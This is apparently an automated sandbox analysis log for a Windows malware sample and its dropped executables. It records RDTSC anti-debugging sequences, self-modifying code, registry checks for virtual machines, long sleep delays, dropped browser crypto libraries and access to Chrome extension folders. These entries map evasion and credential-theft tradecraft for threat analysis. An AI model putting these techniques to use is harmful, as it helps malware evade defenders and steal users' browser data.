Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A1B second address: 4E80A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A1F second address: 4E80A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A25 second address: 4E80A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A2B second address: 4E80A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A2F second address: 4E80A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a mov edx, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e call 00007F7FDD3F1878h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A56 second address: 4E80A93 instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b call 00007F7FDCFD22A8h 0x00000010 pop esi 0x00000011 call 00007F7FDCFD229Bh 0x00000016 pop eax 0x00000017 popad 0x00000018 push ebx 0x00000019 mov bx, si 0x0000001c pop ecx 0x0000001d popad 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80A93 second address: 4E80AB4 instructions: 0x00000000 rdtsc 0x00000002 mov bx, C7FAh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7FDD3F1873h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80AB4 second address: 4E80AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80AB9 second address: 4E80AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7FDD3F1875h 0x0000000a add cl, FFFFFFD6h 0x0000000d jmp 00007F7FDD3F1871h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push dword ptr [ebp+10h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80B16 second address: 4E80B51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7FDCFD229Fh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f jmp 00007F7FDCFD22A5h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 movzx esi, bx 0x00000019 pushad 0x0000001a mov edx, 3BF4B8DAh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80B51 second address: 4E80B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov esp, ebp 0x00000008 pushad 0x00000009 mov ecx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90D17 second address: 4E90D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90D1D second address: 4E90D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90D21 second address: 4E90D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7FDCFD22A4h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90D40 second address: 4E90D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7FDD3F1871h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90A0B second address: 4E90A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 mov esi, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F7FDCFD22A0h 0x00000012 pushfd 0x00000013 jmp 00007F7FDCFD22A2h 0x00000018 or si, 4AF8h 0x0000001d jmp 00007F7FDCFD229Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov dword ptr [esp], ebp 0x00000027 pushad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F10841 second address: 4F10847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F10847 second address: 4F1084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3131C2 second address: 3131C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00A54 second address: 4F00A92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 22h 0x00000005 mov cx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F7FDCFD22A8h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7FDCFD22A7h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00A92 second address: 4F00AB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7FDD3F1874h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00AB7 second address: 4F00ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00ABD second address: 4F00ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F186Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F0097E second address: 4F0098D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA00E9 second address: 4EA012B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, ax 0x0000000e mov dx, cx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7FDD3F1877h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA012B second address: 4EA0148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0148 second address: 4EA0158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F186Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0158 second address: 4EA0188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7FDCFD22A6h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 movzx esi, dx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0188 second address: 4EA01A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, bx 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7FDD3F186Ch 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00C6B second address: 4F00CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7FDCFD229Fh 0x00000008 jmp 00007F7FDCFD22A8h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7FDCFD229Ah 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00CA9 second address: 4F00CB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00CB8 second address: 4F00CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00CBE second address: 4F00CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 call 00007F7FDD3F1874h 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00CE4 second address: 4F00D19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e mov al, 33h 0x00000010 movsx edi, cx 0x00000013 popad 0x00000014 push dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a call 00007F7FDCFD22A5h 0x0000001f pop eax 0x00000020 mov di, E3A4h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4F00DB7 second address: 4F00DD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB050F second address: 4EB0513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0513 second address: 4EB0519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0519 second address: 4EB0537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0537 second address: 4EB053D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB053D second address: 4EB059D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7FDCFD22A8h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 jmp 00007F7FDCFD229Fh 0x00000017 popad 0x00000018 push FFFFFFFEh 0x0000001a jmp 00007F7FDCFD22A6h 0x0000001f push 53DF1293h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F7FDCFD229Ch 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB059D second address: 4EB05A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB05A3 second address: 4EB05A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB05A7 second address: 4EB05FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 249ED28Bh 0x00000012 pushad 0x00000013 mov cx, C3E3h 0x00000017 pushad 0x00000018 mov ebx, ecx 0x0000001a pushfd 0x0000001b jmp 00007F7FDD3F1872h 0x00000020 sub eax, 42EF8428h 0x00000026 jmp 00007F7FDD3F186Bh 0x0000002b popfd 0x0000002c popad 0x0000002d popad 0x0000002e push 726A1579h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB05FB second address: 4EB0601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0601 second address: 4EB0607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Special instruction interceptor: First address: 15ED6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Special instruction interceptor: First address: 15EE83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Special instruction interceptor: First address: 15ED72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Special instruction interceptor: First address: 306BC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Special instruction interceptor: First address: 32B6B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: F7ED6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: F7EE83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: F7ED72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 1126BC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 114B6B6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

Code function: 8_2_04F00D13 rdtsc

8_2_04F00D13

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 3219	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2211	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1113	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1076	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1431	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1505	Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

API coverage: 0.8 %

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6532	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2876	Thread sleep count: 1113 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2876	Thread sleep time: -2227113s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5224	Thread sleep count: 1076 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5224	Thread sleep time: -2153076s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7064	Thread sleep count: 405 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7064	Thread sleep time: -12150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 416	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 280	Thread sleep count: 1431 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 280	Thread sleep time: -2863431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7052	Thread sleep count: 1505 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7052	Thread sleep time: -3011505s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7AC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C7AC930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: EBFBKFBG.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
